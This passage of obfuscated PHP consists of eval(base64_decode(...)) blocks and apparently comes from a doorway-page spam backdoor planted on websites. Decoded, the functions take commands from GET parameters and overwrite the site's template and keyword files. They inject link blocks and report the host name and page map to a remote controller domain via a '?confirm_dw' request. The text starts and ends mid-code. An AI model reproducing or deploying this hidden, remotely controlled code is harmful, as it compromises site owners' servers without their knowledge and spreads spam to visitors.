"<nobr>no new links in downloaded html</nobr><br>";} $R04CB58866688F2FE57771583392B6A18 = $R0CB51639A1F2BB354CA85714A0686605['pre'] . implode("", $R0CB51639A1F2BB354CA85714A0686605['blocks']) . $R0CB51639A1F2BB354CA85714A0686605['post']; } } }else{ $R04CB58866688F2FE57771583392B6A18 = $R0CB51639A1F2BB354CA85714A0686605['pre'] . implode("", $R0CB51639A1F2BB354CA85714A0686605['blocks']) . $R0CB51639A1F2BB354CA85714A0686605['post']; } $R034AE2AB94F99CC81B389A1822DA3353 .= $R04CB58866688F2FE57771583392B6A18; if($RD42A7133AD793E790EEB928B4EEE6EED){$R034AE2AB94F99CC81B389A1822DA3353 = str_replace('absolute', '', $R034AE2AB94F99CC81B389A1822DA3353);} if($RD42A7133AD793E790EEB928B4EEE6EED){$R034AE2AB94F99CC81B389A1822DA3353 .= "<hr><br><b>dgok</b><br>";} return $R034AE2AB94F99CC81B389A1822DA3353;}'));eval(base64_decode('ZnVuY3Rpb24gRjczQ0M2M0QyRTVEOTIyQTA4QkU3MkVGRjE5MEM1MUNBKCRSOUNGQjdDNkQ2QjIwRDU0QjY2NUU4Q0UzMEE2NDg2RjIsICRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQsICRSRkYxQkFBMzc2OTY1OEY1QTkyRTBCMzY2MkI5MUVCQjkpeyAkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGID0gYXJyYXkoKTsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MyA9IDA7ICRSMkU5NDYxRDQ4QzczNzFCMTAzRTNDOTczQzE0NERCQzAgPSBmb3BlbigkR0xPQkFMU1snZGdjcCddLiJsb2NrIiwgImEiKTsgaWYoISRSMkU5NDYxRDQ4QzczNzFCMTAzRTNDOTczQzE0NERCQzApeyByZXR1cm47IH0gaWYoIWZsb2NrKCRSMkU5NDYxRDQ4QzczNzFCMTAzRTNDOTczQzE0NERCQzAsIExPQ0tfRVgpKXsgZmNsb3NlKCRSMkU5NDYxRDQ4QzczNzFCMTAzRTNDOTczQzE0NERCQzApOyByZXR1cm47IH0gaWYoZmlsZV9leGlzdHMoJFJFN0UyRTcxMzMxRkU5NEFBNkVDNDREODJDNDYxMjU1RCkpeyAkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGID0gZmlsZSgkUkU3RTJFNzEzMzFGRTk0QUE2RUM0NEQ4MkM0NjEyNTVEKTsgaWYoJFJDQzVDNkU2OTZDMTFBNEZERjE3MEVDRThCQTlGREM2RiAmJiBjb3VudCgkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGKSA+IDEwMDAwKXsgJFJDQzVDNkU2OTZDMTFBNEZERjE3MEVDRThCQTlGREM2RiA9IGFycmF5KCk7IH0gfSAkUjEyRjA0MUM3MDlDQjVFNkQ2NjYwRTk2OUY1OUI1ODhDID0gbWt0aW1lKCk7IGlmKCRSQ0M1QzZFNjk2QzExQTRGREYxNzBFQ0U4QkE5RkRDNkYpeyBkb3sgJFI5MDYxQzlGRUYxNkU3QzhDNTU2MzY1RTE3RDM3OTUyQyA9IGV4cGxvZGUoInwiLCAkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGWzBdKTsgaWYoJFIxMkYwNDFDNzA5Q0I1RTZENjY2MEU5NjlGNTlCNTg4QyAtICRSOTA2MUM5RkVGMTZFN0M4QzU1NjM2NUUxN0QzNzk1MkNbMV0gPiA2MCAqIDYwICogJFJGRjFCQUEzNzY5NjU4RjVBOTJFMEIzNjYyQjkxRUJCOSl7IGFycmF5X3NoaWZ0KCRSQ0M1QzZFNjk2QzExQTRGREYxNzBFQ0U4QkE5RkRDNkYpOyB9ZWxzZXsgYnJlYWs7IH0gfXdoaWxlKCRSQ0M1QzZFNjk2QzExQTRGREYxNzBFQ0U4QkE5RkRDNkYpOyB9ICRSQTU3OEEyOEM4NzQ2NzE3OUVEMDdGNjU0MTNENkUxMjkgPSBpbXBsb2RlKCIiLCAkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGKTsgaWYoIXN0cnBvcygnICcgLiAkUkE1NzhBMjhDODc0NjcxNzlFRDA3RjY1NDEzRDZFMTI5LCAkUjlDRkI3QzZENkIyMEQ1NEI2NjVFOENFMzBBNjQ4NkYyKSl7ICRSQTU3OEEyOEM4NzQ2NzE3OUVEMDdGNjU0MTNENkUxMjkgLj0gJFI5Q0ZCN0M2RDZCMjBENTRCNjY1RThDRTMwQTY0ODZGMiAuICd8JyAuIG1rdGltZSgpIC4gIlxuIjsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MyA9IDE7IH0gJFIxREU1RUI4MjZGRDE2MTkxQTU4M0M4NzQ3NjJBMDkwQyA9IGZvcGVuKCRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQsICJ3Iik7IGlmKCRSMURFNUVCODI2RkQxNjE5MUE1ODNDODc0NzYyQTA5MEMpeyBmd3JpdGUoJFIxREU1RUI4MjZGRDE2MTkxQTU4M0M4NzQ3NjJBMDkwQywgJFJBNTc4QTI4Qzg3NDY3MTc5RUQwN0Y2NTQxM0Q2RTEyOSk7IGZmbHVzaCgkUjFERTVFQjgyNkZEMTYxOTFBNTgzQzg3NDc2MkEwOTBDKTsgZmNsb3NlKCRSMURFNUVCODI2RkQxNjE5MUE1ODNDODc0NzYyQTA5MEMpOyB9IGZsb2NrKCRSMkU5NDYxRDQ4QzczNzFCMTAzRTNDOTczQzE0NERCQzAsIExPQ0tfVU4pOyBmY2xvc2UoJFIyRTk0NjFENDhDNzM3MUIxMDNFM0M5NzNDMTQ0REJDMCk7IHJldHVybiAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzO30='));eval(base64_decode('ZnVuY3Rpb24gRjE3NjczRUY2NDU2Q0Q4RUNBNTJEOUQ2REYzRjE4RjNCKCRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQsICRSM0YyNDNFMTM0NDRGNjkzQTU5RjE1QUE1RDQyNEIzQkUgPSAnJyl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTNbJ3ByZSddID0gJyc7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTNbJ3Bvc3QnXSA9ICcnOyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzWydibG9ja3MnXSA9IGFycmF5KCk7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTNbJ2xpbmtzJ10gPSBhcnJheSgpOyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzWydjb3VudCddID0gMDsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1M1snZXhjbHVzaXZlJ10gPSAnJzsgaWYoJFJFN0UyRTcxMzMxRkU5NEFBNkVDNDREODJDNDYxMjU1RCAmJiBmaWxlX2V4aXN0cygkUkU3RTJFNzEzMzFGRTk0QUE2RUM0NEQ4MkM0NjEyNTVEKSl7ICRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIgLj0gdHJpbShpbXBsb2RlKCIiLCBmaWxlKCRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQpKSk7IH1lbHNlaWYoJFIzRjI0M0UxMzQ0NEY2OTNBNTlGMTVBQTVENDI0QjNCRSl7ICRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIgPSAkUjNGMjQzRTEzNDQ0RjY5M0E1OUYxNUFBNUQ0MjRCM0JFOyB9ZWxzZXsgcmV0dXJuICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM7IH0gaWYoc3RycG9zKCRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIsICc8IS0tZXgtLT4nKSl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTNbJ2V4Y2x1c2l2ZSddID0gJzwhLS1leC0tPic7IH0gJFJDQzVDNkU2OTZDMTFBNEZERjE3MEVDRThCQTlGREM2RiA9IHByZWdfc3BsaXQoIi8oXDxcIVwtXC1bXlwtXStcLVwtXD4pLyIsICRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIsIC0xLCBQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOyBpZihjb3VudCgkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGKSA+PSAzKXsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1M1sncHJlJ10gPSBhcnJheV9zaGlmdCgkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGKTsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1M1sncG9zdCddID0gYXJyYXlfcG9wKCRSQ0M1QzZFNjk2QzExQTRGREYxNzBFQ0U4QkE5RkRDNkYpOyAkUjdCQkJGMUIwRjFEMzQwMURDQTQ1NDYwNkNDRkIwNjUyID0gMDsgZm9yZWFjaCgkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGIGFzICRSRjQxM0YwNkFFQkJDRUY1RTFDOEIxMDE5REVFNkZFNkI9PiRSMjQ0RjM4MjY2QzU5NTg3RDY5NkFFQzA4QTc3MUI4MDMpeyBpZihwcmVnX21hdGNoKCIvaHJlZj1bXCJcJ10oW15cIlwnXSspW1wiXCddLyIsICRSMjQ0RjM4MjY2QzU5NTg3RDY5NkFFQzA4QTc3MUI4MDMsICRSRDlCODVCRUNGNzdBQURGMTYwODU1NTVGNkU1QUM4ODIpKXsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1M1snbGlua3MnXVtdID0gJFJEOUI4NUJFQ0Y3N0FBREYxNjA4NTU1NUY2RTVBQzg4MlsxXTsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1M1snYmxvY2tzJ11bJFI3QkJCRjFCMEYxRDM0MDFEQ0E0NTQ2MDZDQ0ZCMDY1Ml0gLj0gJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMzsgfWVsc2V7ICRSN0JCQkYxQjBGMUQzNDAxRENBNDU0NjA2Q0NGQjA2NTIrKzsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1M1snYmxvY2tzJ11bJFI3QkJCRjFCMEYxRDM0MDFEQ0E0NTQ2MDZDQ0ZCMDY1Ml0gPSAkUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzOyB9IH0gaWYoaXNfYXJyYXkoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1M1snYmxvY2tzJ10pICYmICFzdHJwb3MoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1M1snYmxvY2tzJ11bY291bnQoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1M1snYmxvY2tzJ10pXSwgJ2h0dHA6LycuJy8nKSl7IHVuc2V0KCRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTNbJ2Jsb2NrcyddW2NvdW50KCRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTNbJ2Jsb2NrcyddKV0pOyB9IH0gaWYoaXNfYXJyYXkoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1M1snYmxvY2tzJ10pKXsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1M1snY291bnQnXSA9IGNvdW50KCRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTNbJ2Jsb2NrcyddKTsgfWVsc2V7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTNbJ2V4Y2x1c2l2ZSddID0gJyc7IH0gcmV0dXJuICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM7fQ=='));eval(base64_decode('ZnVuY3Rpb24gRkMyM0Y3RUM2NEYwQkRFM0I1QURFNkM5REQ0OEJFMUYyKCl7IGlmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydkZ2xmJ10pIHx8IGZpbGVfZXhpc3RzKCRHTE9CQUxTWydkZ2NwJ10gLiAnMCcpIHx8IGZpbGVfZXhpc3RzKCRHTE9CQUxTWydkZ2NwJ10gLiAnMScpIHx8IGZpbGVfZXhpc3RzKCRHTE9CQUxTWydkZ2NwJ10gLiAnMicpKXsgcmV0dXJuIHRydWU7IH1lbHNleyByZXR1cm4gZmFsc2U7IH19'));eval(base64_decode('ZnVuY3Rpb24gRjUyMjkzQjc4NkYzOUI5MDgwOEQwNUEyNTMwQkE1MTAwKCRSQTI0MDFGM0E2RTgyNjM4NDQyMzlENzhGQ0U5NjE5N0IgPSAwKXsgaWYoZmlsZV9leGlzdHMoJEdMT0JBTFNbJ2RnY3AnXSAuICd1JykgJiYgKCRSQTI0MDFGM0E2RTgyNjM4NDQyMzlENzhGQ0U5NjE5N0IgfHwgKG1rdGltZSgpIC0gZmlsZW10aW1lKCRHTE9CQUxTWydkZ2NwJ10gLiAndScpKSA+IDEwICogNjApKXsgdW5saW5rKCRHTE9CQUxTWydkZ2NwJ10gLiAndScpOyB9fQ=='));eval(base64_decode('ZnVuY3Rpb24gRkY1QThGNDY3NjMxQkJCOEVERDVGQjZBQjdENDVEMkI2KCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTMsICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZSl7IGdsb2JhbCAkX0dFVDsgc2V0X3RpbWVfbGltaXQoNjAwKTsgaWYoaXNzZXQoJF9HRVRbJ2RnZCddKSl7ICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZTsgfSBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8gInVwZGF0aW5nIGRvb3J3YXlzIGZyb206ICIuJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1My4iPGJyPiI7IH0gaWYoZmlsZV9leGlzdHMoJEdMT0JBTFNbJ2RnY3AnXSAuICd1JykpeyBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8ic3RvcCBmbGFnIFsndSddIGZvdW5kPGJyPls0NjU0NzY2NzNdIjsgfSByZXR1cm47IH0gdG91Y2goJEdMT0JBTFNbJ2RnY3AnXSAuICd1Jyk7ICRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIgPSBGRkQ0NTY0MDY3NDVEODE2QTQ1Q0FFNTU0Qzc4OEU3NTQoJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1MywgMTgwLCAkUkY4OUY1MThFNDBGRjUzQjRGRDJBN0QyNDQwMDkwRDYzKTsgJFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQiA9IHByZWdfcmVwbGFjZSgiL14uKltcclxuXS8iLCAiIiwgJFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQik7ICRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIgPSBwcmVnX3JlcGxhY2UoIi9bXG5ccl0uKi8iLCAiIiwgJFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQik7ICRSQ0M1QzZFNjk2QzExQTRGREYxNzBFQ0U4QkE5RkRDNkYgPSBleHBsb2RlKCImIiwgdHJpbSgkUjlEQjlFMTAzRTg4RDYyMjMxNkQ0MkI1MDhENkQxMUFCKSk7ICRSREJGODY2RTYyOTNCQjU5RTY1NDAzM0UyOTlFQzhDRkUgPSAwOyBmb3JlYWNoKCRSQ0M1QzZFNjk2QzExQTRGREYxNzBFQ0U4QkE5RkRDNkYgYXMgJFJGNDEzRjA2QUVCQkNFRjVFMUM4QjEwMTlERUU2RkU2Qj0+JFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMyl7ICRSNjA5NERGRkMyQzJCOEU0Qzg2ODlGMUNFNjcyNUE1QTUgPSBleHBsb2RlKCI9IiwgJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMyk7ICRSOUQyODYzNjlDQkEyRkJFQjM0RDAzNkZGQzNDOUVCMkVbcmF3dXJsZGVjb2RlKCRSNjA5NERGRkMyQzJCOEU0Qzg2ODlGMUNFNjcyNUE1QTVbMF0pXSA9IHJhd3VybGRlY29kZSgkUjYwOTRERkZDMkMyQjhFNEM4Njg5RjFDRTY3MjVBNUE1WzFdKTsgfSBpZigkUjlEMjg2MzY5Q0JBMkZCRUIzNEQwMzZGRkMzQzlFQjJFWydkZ3VybCddICYmIHN0cnBvcygkUjlEMjg2MzY5Q0JBMkZCRUIzNEQwMzZGRkMzQzlFQjJFWydkZ3VybCddLCAnaHR0cDovJy4nLycpID09PSAwKXsgJEdMT0JBTFNbJ2Rnb3B0J11bJ2RndXJsJ10gPSAkUjlEMjg2MzY5Q0JBMkZCRUIzNEQwMzZGRkMzQzlFQjJFWydkZ3VybCddOyBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7ZWNobyAic2V0IGRndXJsIHRvOiB7JEdMT0JBTFNbJ2Rnb3B0J11bJ2RndXJsJ119PGJyPiI7fSB9IGlmKCRSOUQyODYzNjlDQkEyRkJFQjM0RDAzNkZGQzNDOUVCMkVbJ3R0J10peyAkR0xPQkFMU1snZGdvcHQnXVsndHQnXSA9ICRSOUQyODYzNjlDQkEyRkJFQjM0RDAzNkZGQzNDOUVCMkVbJ3R0J107IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXtlY2hvICJzZXQgdHQgdG86IHskR0xPQkFMU1snZGdvcHQnXVsndHQnXX08YnI+Ijt9IH0gaWYoJFI5RDI4NjM2OUNCQTJGQkVCMzREMDM2RkZDM0M5RUIyRVsnZGdxbiddKXsgJEdMT0JBTFNbJ2Rnb3B0J11bJ2RncW4nXSA9ICRSOUQyODYzNjlDQkEyRkJFQjM0RDAzNkZGQzNDOUVCMkVbJ2RncW4nXTsgaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0Ype2VjaG8gInNldCBkZ3FuIHRvOiB7JEdMT0JBTFNbJ2Rnb3B0J11bJ2RncW4nXX08YnI+Ijt9IH0gaWYoaXNzZXQoJFI5RDI4NjM2OUNCQTJGQkVCMzREMDM2RkZDM0M5RUIyRVsna2QnXSkpeyAkR0xPQkFMU1snZGdvcHQnXVsna2QnXSA9ICRSOUQyODYzNjlDQkEyRkJFQjM0RDAzNkZGQzNDOUVCMkVbJ2tkJ107IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXtlY2hvICJzZXQga2QgdG86IHskR0xPQkFMU1snZGdvcHQnXVsna2QnXX08YnI+Ijt9IH0gaWYoaXNzZXQoJFI5RDI4NjM2OUNCQTJGQkVCMzREMDM2RkZDM0M5RUIyRVsncHJsJ10pKXsgJEdMT0JBTFNbJ2Rnb3B0J11bJ3BybCddID0gJFI5RDI4NjM2OUNCQTJGQkVCMzREMDM2RkZDM0M5RUIyRVsncHJsJ107IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXtlY2hvICJzZXQgcHJsIHRvOiB7JEdMT0JBTFNbJ2Rnb3B0J11bJ3BybCddfTxicj4iO30gfSBpZihpc3NldCgkUjlEMjg2MzY5Q0JBMkZCRUIzNEQwMzZGRkMzQzlFQjJFWydzcCddKSl7ICRHTE9CQUxTWydkZ29wdCddWydzcCddID0gJFI5RDI4NjM2OUNCQTJGQkVCMzREMDM2RkZDM0M5RUIyRVsnc3AnXTsgaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0Ype2VjaG8gInNldCBzcCB0bzogeyRHTE9CQUxTWydkZ29wdCddWydzcCddfTxicj4iO30gfSBpZihpc3NldCgkUjlEMjg2MzY5Q0JBMkZCRUIzNEQwMzZGRkMzQzlFQjJFWydzdCddKSl7ICRHTE9CQUxTWydkZ29wdCddWydzdCddID0gJFI5RDI4NjM2OUNCQTJGQkVCMzREMDM2RkZDM0M5RUIyRVsnc3QnXTsgaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0Ype2VjaG8gInNldCBzdCB0bzogeyRHTE9CQUxTWydkZ29wdCddWydzdCddfTxicj4iO30gfSBpZihpc3NldCgkUjlEMjg2MzY5Q0JBMkZCRUIzNEQwMzZGRkMzQzlFQjJFWydjdCddKSl7ICRHTE9CQUxTWydkZ29wdCddWydjdCddID0gJFI5RDI4NjM2OUNCQTJGQkVCMzREMDM2RkZDM0M5RUIyRVsnY3QnXTsgaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0Ype2VjaG8gInNldCBjdCB0bzogeyRHTE9CQUxTWydkZ29wdCddWydjdCddfTxicj4iO30gfSBpZihpc3NldCgkUjlEMjg2MzY5Q0JBMkZCRUIzNEQwMzZGRkMzQzlFQjJFWydtYXJrb3YnXSkpeyAkR0xPQkFMU1snZGdvcHQnXVsnbWFya292J10gPSAkUjlEMjg2MzY5Q0JBMkZCRUIzNEQwMzZGRkMzQzlFQjJFWydtYXJrb3YnXTsgaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0Ype2VjaG8gInNldCBtYXJrb3YgdG86IHskR0xPQkFMU1snZGdvcHQnXVsnbWFya292J119PGJyPiI7fSB9IGlmKGlzc2V0KCRSOUQyODYzNjlDQkEyRkJFQjM0RDAzNkZGQzNDOUVCMkVbJ3RoZW1lJ10pKXsgJEdMT0JBTFNbJ2Rnb3B0J11bJ3RoZW1lJ10gPSAkUjlEMjg2MzY5Q0JBMkZCRUIzNEQwMzZGRkMzQzlFQjJFWyd0aGVtZSddOyBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7ZWNobyAic2V0IHRoZW1lIHRvOiB7JEdMT0JBTFNbJ2Rnb3B0J11bJ3RoZW1lJ119PGJyPiI7fSB9IGlmKGlzc2V0KCRSOUQyODYzNjlDQkEyRkJFQjM0RDAzNkZGQzNDOUVCMkVbJ2ZyYiddKSl7ICRHTE9CQUxTWydkZ29wdCddWydmcmInXSA9ICRSOUQyODYzNjlDQkEyRkJFQjM0RDAzNkZGQzNDOUVCMkVbJ2ZyYiddOyBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7ZWNobyAic2V0IGZyYiB0bzogeyRHTE9CQUxTWydkZ29wdCddWydmcmInXX08YnI+Ijt9IH0gRkFCRjFGOTc2ODM1M0IyNTY0QjU0NjBGMTc4QzRGMUNCKCk7IGlmKCRSOUQyODYzNjlDQkEyRkJFQjM0RDAzNkZGQzNDOUVCMkVbJ3RlbXBsYXRlJ10peyBGMTdCOEM2NTA2NEFFOTA2NzlFNENFNjI1NEVGNkM1MTAoJEdMT0JBTFNbJ2RndGYnXSwgJFI5RDI4NjM2OUNCQTJGQkVCMzREMDM2RkZDM0M5RUIyRVsndGVtcGxhdGUnXSwgInRlbXBsYXRlIGZpbGUgeyRHTE9CQUxTWydkZ3RmJ119IHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5Li4uPGJyPiIsIDEsICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpOyB9IGlmKCRSOUQyODYzNjlDQkEyRkJFQjM0RDAzNkZGQzNDOUVCMkVbJ2tleXdvcmRzJ10peyAkUjc5NjVDQjM3OThBMzdFNUEyOTRCNjk1RUNDMUM2RTlCID0gZXhwbG9kZSgiQHNlcEAiLCAkUjlEMjg2MzY5Q0JBMkZCRUIzNEQwMzZGRkMzQzlFQjJFWydrZXl3b3JkcyddKTsgZm9yZWFjaCgkUjc5NjVDQjM3OThBMzdFNUEyOTRCNjk1RUNDMUM2RTlCIGFzICRSRjQxM0YwNkFFQkJDRUY1RTFDOEIxMDE5REVFNkZFNkI9PiRSMjQ0RjM4MjY2QzU5NTg3RDY5NkFFQzA4QTc3MUI4MDMpeyAkUjc5NjVDQjM3OThBMzdFNUEyOTRCNjk1RUNDMUM2RTlCWyRSRjQxM0YwNkFFQkJDRUY1RTFDOEIxMDE5REVFNkZFNkJdID0gdHJpbSgkUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzKSAuICJcbiI7IH0gRjE3QjhDNjUwNjRBRTkwNjc5RTRDRTYyNTRFRjZDNTEwKCRHTE9CQUxTWydkZ2tmJ10sIHRyaW0oaW1wbG9kZSgiIiwgJFI3OTY1Q0IzNzk4QTM3RTVBMjk0QjY5NUVDQzFDNkU5QikpLCAia2V5d29yZHMgZmlsZSB7JEdMT0JBTFNbJ2Rna2YnXX0gdXBkYXRlZCBzdWNjZXNzZnVsbHkuLi48YnI+IiwgMSwgJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRik7IEZFMDMyM0E5MDM5QUREMjk3OEJGNUI0OTU1MDU3MkM3QygkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKTsgRkI5N0ZBNjNDNzhCQzkxQjU0MDNDNzdBOENGM0E5OTg2KCRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpOyAkX0dFVFsnZGdtJ10gPSB0cnVlOyAkR0xPQkFMU1snZGdtYXBfdmFyJ10gPSB0cnVlOyBpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ2RnZGYnXSk7IEYzNDYzOUE1MjVEQjU5QkJFODlBMUI2OEEzNDE5ODlBOSgkR0xPQkFMU1snZGd3ZG9tYWluJ10gLiAiP2NvbmZpcm1fZHciLCAnaG9zdD0nIC4gcmF3dXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnJm1hcD0nIC4gcmF3dXJsZW5jb2RlKHRyaW0oJEdMT0JBTFNbJ2RnbWFwJ10pKSwgJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRik7IH0gRjUyMjkzQjc4NkYzOUI5MDgwOEQwNUEyNTMwQkE1MTAwKDEpO30='));eval(base64_decode('ZnVuY3Rpb24gRjE3Qjg3OTA4OTY5MDUyNTU1ODg5ODdDRjAxMkFGQkQ4KCl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSAnJzsgZm9yZWFjaCgkR0xPQkFMU1snZGdvcHQnXSBhcyAkUkY0MTNGMDZBRUJCQ0VGNUUxQzhCMTAxOURFRTZGRTZCPT4kUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzKXsgaWYoaXNfbnVtZXJpYygkUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzKSl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgLj0gJFJGNDEzRjA2QUVCQkNFRjVFMUM4QjEwMTlERUU2RkU2Qi4iID0gIi4kUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzLiJcbiI7IH1lbHNleyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzIC49ICRSRjQxM0YwNkFFQkJDRUY1RTFDOEIxMDE5REVFNkZFNkIuIiA9IFwiIi4kUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzLiJcIlxuIjsgfSB9IHJldHVybiAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzO30='));eval(base64_decode('ZnVuY3Rpb24gRjEwRjkwNjQxODRFNDc4MTlFQjRGNkNEQzQzNEQwRkFEKCl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSAnJzsgZm9yZWFjaCgkR0xPQkFMU1snZGdvcHQnXSBhcyAkUkY0MTNGMDZBRUJCQ0VGNUUxQzhCMTAxOURFRTZGRTZCPT4kUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzKXsgaWYoaXNfbnVtZXJpYygkUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzKSl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgLj0gYmFzZTY0X2VuY29kZSgkUkY0MTNGMDZBRUJCQ0VGNUUxQzhCMTAxOURFRTZGRTZCKS4iID0gIi5iYXNlNjRfZW5jb2RlKCRSMjQ0RjM4MjY2QzU5NTg3RDY5NkFFQzA4QTc3MUI4MDMpLiJcbiI7IH1lbHNlaWYoJFJGNDEzRjA2QUVCQkNFRjVFMUM4QjEwMTlERUU